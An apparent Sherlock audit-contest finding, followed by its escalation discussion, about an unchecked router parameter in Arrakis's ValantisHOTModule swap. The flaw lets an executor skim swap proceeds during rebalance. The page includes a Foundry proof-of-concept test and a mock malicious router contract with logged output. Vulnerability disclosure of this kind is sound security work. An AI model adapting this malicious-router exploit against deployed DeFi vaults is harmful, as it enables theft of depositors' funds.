Angry_Mustache_Man - rebalancing functionality can be used by executor to drain funds

[sherlock-admin3]

Angry_Mustache_Man

high

rebalancing functionality can be used by executor to drain funds

Summary

executor of public vaults can drain funds while swapping in the rebalance function due to lack of checking of Swap Router's used by the executor.

Vulnerability Detail

executor of ArrakisStandardManager is described as a RESTRICTED role by the sponsors . ArrakisStandardManager#rebalance function can only be used by the executor assigned by the Public Vault Owner . The executor specifies all the details required for swapping during rebalance through the payload array as shown here : https://github.com/sherlock-audit/2024-03-arrakis/blob/main/arrakis-modular/src/ArrakisStandardManager.sol#L322C4-L325C6

function rebalance(
        address vault_,
        bytes[] calldata payloads_                    // <@audit here
    )

Now if the cooldown period has been passed and the validation for rebalance i.e., if the spot price has not been manipulated beyond the limit then the rebalance function calls swap function of the Arrakis LP Module here : https://github.com/sherlock-audit/2024-03-arrakis/blob/main/arrakis-modular/src/ArrakisStandardManager.sol#L376C10-L376C66

  (bool success,) = address(module).call(payloads_[i]);

In the payload passed above, if the executor sets expectedMinReturn_ & router_ in a Malicious way , then funds can be drained .

https://github.com/sherlock-audit/2024-03-arrakis/blob/main/arrakis-modular/src/abstracts/ValantisHOTModule.sol#L326C3-L334C6

   function swap(
        bool zeroForOne_,
        uint256 expectedMinReturn_,             // <@audit Here
        uint256 amountIn_,
        address router_,                        // <@audit Here
        uint160 expectedSqrtSpotPriceUpperX96_,
        uint160 expectedSqrtSpotPriceLowerX96_,
        bytes calldata payload_
    )

But before looking into it, let's take a look at an important check in ValantisHOTModule.sol#swap i.e., _checkMinReturn function which checks if the expectedMinReturn_ returns an amount greater than maxSlippage set by protocol or not . If not it will revert : https://github.com/sherlock-audit/2024-03-arrakis/blob/main/arrakis-modular/src/abstracts/ValantisHOTModule.sol#L537C4-L563C6

function _checkMinReturn(
        bool zeroForOne_,
        uint256 expectedMinReturn_,
        uint256 amountIn_,
        uint8 decimals0_,
        uint8 decimals1_
    ) internal view {
        if (zeroForOne_) {
            if (
                FullMath.mulDiv(
                    expectedMinReturn_, 10 ** decimals0_, amountIn_
                )
                    < FullMath.mulDiv(
                        oracle.getPrice0(), PIPS - maxSlippage, PIPS
                    )
            ) revert ExpectedMinReturnTooLow();
        } else {
            if (
                FullMath.mulDiv(
                    expectedMinReturn_, 10 ** decimals1_, amountIn_
                )
                    < FullMath.mulDiv(
                        oracle.getPrice1(), PIPS - maxSlippage, PIPS
                    )
            ) revert ExpectedMinReturnTooLow();
        }
    }

Now let's take an example for the exploit , Let's say protocol has set the maxSlippage : (3PIPS/5) [6%] expectedMinReturn_ set by executor with 5% slippage , let's assume the Swap Router used here is Uniswap V3 and the present slippage at Uniswap V3 is set to 2% while swapping . Now as there is no check for router at swap as shown here , it can be set maliciously to drain the arbitraged funds : https://github.com/sherlock-audit/2024-03-arrakis/blob/main/arrakis-modular/src/abstracts/ValantisHOTModule.sol#L369C6-L384C27

function swap(...){
    ...
    ...
    ...
 if (zeroForOne_) {
            token0.safeIncreaseAllowance(router_, amountIn_);
        } else {
            token1.safeIncreaseAllowance(router_, amountIn_);
        }

        {
            (bool success,) = router_.call(payload_);    // <@audit here
            if (!success) revert SwapCallFailed();
        }

        // #endregion interactions.

        // #region assertions.

        uint256 balance0 =
        ...
        ...
        ...
        }

Executor sets parameters as mentioned above and set's router contract to a itself or any contract owned by him .

Executor call rebalance -> Arrakis Standard Manager calls swap of Valantis HOT Module -> swap function calls router set by executor for swap -> router calls Uniswap for swap -> then router returns the funds to Valantis HOT Module after swap

Here let's say the Uniswap V3 returns the funds with 2% slippage to the Malicious router contract which is owned by executor . Now executor owned router contract returns 0.5% more funds than the expectedMinReturn_ amount set . This enables the executor owned router contract to keep about ~2 to 2.5% of funds given for swap by the executor and the slippage checks at the end of the swap function is also passed as the amount returned by executor is more than expectedMinReturn_ amount set .

Now let's write a simple POC of the same , for this we'll edit the already setup integration tests for the POC . Here instead of using an external swapper, the router contract used is given enough token1(WETH in this case) , to carry out the swap . Also the maxSlippage is set to 10% by the protocol here . -> The exchange rate between token0(USDC) & token1(WETH) is assumed to be 2000:1 . -> Swapping is done with 1000e6 of USDC . So the exact amount that can be received in ideal situation is 0.5e18 of WETH , but to consider slippage , the executor sets the expectedMinReturn with 5% slippage . -> Now after swapping the router contract returns the WETH with a slippage of 4.5% , thereby keeping those funds to itself . Hence draining funds. Put these two code snippet in test/integration/ValantisIntegrationPublic.t.sol & comment out the swap router mock function made by the protocol at : https://github.com/sherlock-audit/2024-03-arrakis/blob/main/arrakis-modular/test/integration/ValantisIntegrationPublic.t.sol#L949C4-L956C36

    // region router not checked 
    function test_routerNotChecked() public {
        // #region mint.

        address user = vm.addr(uint256(keccak256(abi.encode("User"))));
        address receiver =
            vm.addr(uint256(keccak256(abi.encode("Receiver"))));

        deal(address(token0), user, init0);
        deal(address(token1), user, init1);

        address m = address(IArrakisMetaVault(vault).module());

        vm.startPrank(user);
        token0.approve(m, init0);
        token1.approve(m, init1);

        IArrakisMetaVaultPublic(vault).mint(1e18, receiver);
        vm.stopPrank();

        // #endregion mint.

        //(uint160 sqrtSpotPriceX96,,) = alm.getAMMState();

        bool zeroForOne = true; // USDC -> WETH.
        uint256 expectedMinReturn = 0.475 ether;                                   // <@audit - here
        uint256 amountIn = 1000e6;
        address router = address(this);                                            // <@audit - here

        uint160 expectedSqrtSpotPriceUpperX96 =
            1_771_595_571_142_957_102_904_975_518_859_264;
        uint160 expectedSqrtSpotPriceLowerX96 =
            1_771_595_571_142_957_102_904_975_518_859_264;
        bytes memory payload =
            abi.encodeWithSelector(this.swap.selector);

        bytes memory data = abi.encodeWithSelector(
            IValantisHOTModule.swap.selector,
            zeroForOne,
            expectedMinReturn,
            amountIn,
            router,
            expectedSqrtSpotPriceUpperX96,
            expectedSqrtSpotPriceLowerX96,
            payload
        );

        bytes[] memory datas = new bytes[](1);
        datas[0] = data;

        (uint256 befamount0, uint256 befamount1) =
        IArrakisLPModule(m).totalUnderlying();

        console.log("Before rebalance Token 0 :",befamount0);
        console.log("Before rebalance Token 1 :",befamount1);

        vm.prank(executor);
        IArrakisStandardManager(manager).rebalance(vault, datas);

        // assertions.

        (uint256 aftamount0, uint256 aftamount1) =
            IArrakisLPModule(m).totalUnderlying();

console.log("After rebalance USDC :",aftamount0);
console.log("After rebalance USDC :",aftamount1);
console.log("Balance of USDC in Malicious router contract : ", token0.balanceOf(address(this)));
console.log("Balance of WETH in Malicious router contract : ", token1.balanceOf(address(this)));

    }
// end region router not checked

&&

    function swap() external {
        ERC20(USDC).transferFrom(msg.sender, address(this), 1000e6);
        deal(WETH, msg.sender, 1.4775 ether);
    }

Output of POC : Use this command "forge test --match-path test/integration/ValantisIntegrationPublic.t.sol --match-test test_routerNotChecked -vv" , and the output will be as follows :

Ran 1 test for test/integration/ValantisIntegrationPublic.t.sol:ValantisIntegrationPublicTest
[PASS] test_routerNotChecked() (gas: 1381080)
Logs:
  Before rebalance Token 0 : 2000000000
  Before rebalance Token 1 : 1000000000000000000
  After rebalance USDC : 1000000000
  After rebalance USDC : 1477500000000000000
  Balance of USDC in Malicious router contract :  1000000000                                // <@audit - here
  Balance of WETH in Malicious router contract :  0

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 784.88ms (11.15ms CPU time)

Impact

Drainage of funds by a Malicious Executor .

Code Snippet

https://github.com/sherlock-audit/2024-03-arrakis/blob/main/arrakis-modular/src/ArrakisStandardManager.sol#L322C4-L325C6

https://github.com/sherlock-audit/2024-03-arrakis/blob/main/arrakis-modular/src/ArrakisStandardManager.sol#L376C10-L376C66

https://github.com/sherlock-audit/2024-03-arrakis/blob/main/arrakis-modular/src/abstracts/ValantisHOTModule.sol#L326C3-L334C6

https://github.com/sherlock-audit/2024-03-arrakis/blob/main/arrakis-modular/src/abstracts/ValantisHOTModule.sol#L537C4-L563C6

https://github.com/sherlock-audit/2024-03-arrakis/blob/main/arrakis-modular/src/abstracts/ValantisHOTModule.sol#L369C6-L384C27

Tool used

Manual Review , Foundry

Recommendation

Add proper checks for the router parameter used in the ValantisHOTModule.sol#swap function .

Duplicate of #20

[ADK0010]

Escalate it is a valid attack path . Let me explain this: Let's say the protocol has set maxSlippage : (3PIPS/5) [6%] then the malicious executor sets the expectedMinReturn_ to 5% . Now here as it passes _checkMinReturn , the malicious executor has set router parameter to a Malicious router which in turn sends a swap tx to Uniswap V3(let's say Uniswap was the intended router) on behalf of the protocol . Attack flow(same as mentioned in my report) : Executor call rebalance -> Arrakis Standard Manager calls swap of Valantis HOT Module -> swap function calls router set by executor for swap -> router calls Uniswap for swap -> then router returns the funds to Valantis HOT Module after swap . Here let's say Uniswap V3 has a slippage of 3% in the swap tx, then the remaining funds get returned to the Executor owned router contract . Now the malicious router contract , instead of returning the entire funds returned by the Uniswap V3 , it cuts 1% more from the original amount , and then return the remaining amount back to Module, thereby passing slippage protections & causing loss of funds for protocol . So each time swap happens , the malicious router setup would deduct a certain percentage of the total amount (based on the expectedMinReturn_ set) enabling the malicious executor to drain funds .

seems like dup with #20 #56

[sherlock-admin3]

Escalate it is a valid attack path . Let me explain this: Let's say the protocol has set maxSlippage : (3PIPS/5) [6%] then the malicious executor sets the expectedMinReturn_ to 5% . Now here as it passes _checkMinReturn , the malicious executor has set router parameter to a Malicious router which in turn sends a swap tx to Uniswap V3(let's say Uniswap was the intended router) on behalf of the protocol . Attack flow(same as mentioned in my report) : Executor call rebalance -> Arrakis Standard Manager calls swap of Valantis HOT Module -> swap function calls router set by executor for swap -> router calls Uniswap for swap -> then router returns the funds to Valantis HOT Module after swap . Here let's say Uniswap V3 has a slippage of 3% in the swap tx, then the remaining funds get returned to the Executor owned router contract . Now the malicious router contract , instead of returning the entire funds returned by the Uniswap V3 , it cuts 1% more from the original amount , and then return the remaining amount back to Module, thereby passing slippage protections & causing loss of funds for protocol . So each time swap happens , the malicious router setup would deduct a certain percentage of the total amount (based on the expectedMinReturn_ set) enabling the malicious executor to drain funds .

seems like dup with #20 #56

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

[IWildSniperI]

Should be dup and grouped with other malicious payloads of the executor via unverified '_router' low level call

[0xjuaan]

Valid dupe of #20, #56- different to the other vulnerability that involves minting cheap shares

[WangSecurity]

Agree with the escalation, planning to accept it and duplicate the report with #20.

[WangSecurity]

Result: High Duplicate of #20

[sherlock-admin2]

Escalations have been resolved successfully!

Escalation status:

• ADK0010: accepted

[Gevarist]

Hi here are we assuming that executor take a percentage of maxSlippage? If so this finding is not valid. We have cool down period to restrain executor to drain the fund, and giving enough time to vault owner to change the malicious executor.

[ADK0010]

@Gevarist Draining funds is happening in the same transaction . As I explained in my previous comment , attack flow is like this : Executor call rebalance -> Arrakis Standard Manager calls swap of Valantis HOT Module -> swap function calls router set by executor for swap -> router calls Uniswap for swap -> after swap the funds are returned to router set by executor ->which then returns the funds to Valantis HOT Module after swap cutting % of maxSlippage executor uses his own Malicious Router as a base and take % of maxSlippage by adjusting expectedMinReturn . It just leaves the fund in the executor setuped router_ while returning the remaining funds back . The attack takes out the funds that occurs between Uniswap's Slippage & expectedMinReturn , which could be 2-8% of tvl in normal market conditions . There is no need to wait for next rebalance , as it happens in the single one .

[Gevarist]

Maxslippage is here to mitigate this attack, and should be rightly chosen by owner to not allow executor to drain too much fund if this one is malicious. In practice maxslippage will mostly be 1%, in some case 2%. Due to cooldown period owner can react to this attack if he find out that executor always draining fund to the maxSlippage and then change the executor. This is not a valid finding.

[Gevarist]

Executor is a restricted role, this is not a trustless system.

[WangSecurity]

Based on the sponsor's comments, I agree this issue is indeed low severity, cause slippage protection for rebalance is in place to mitigate this risk. Moreover, the TRUSTED owner can change executor after one instance of this attack.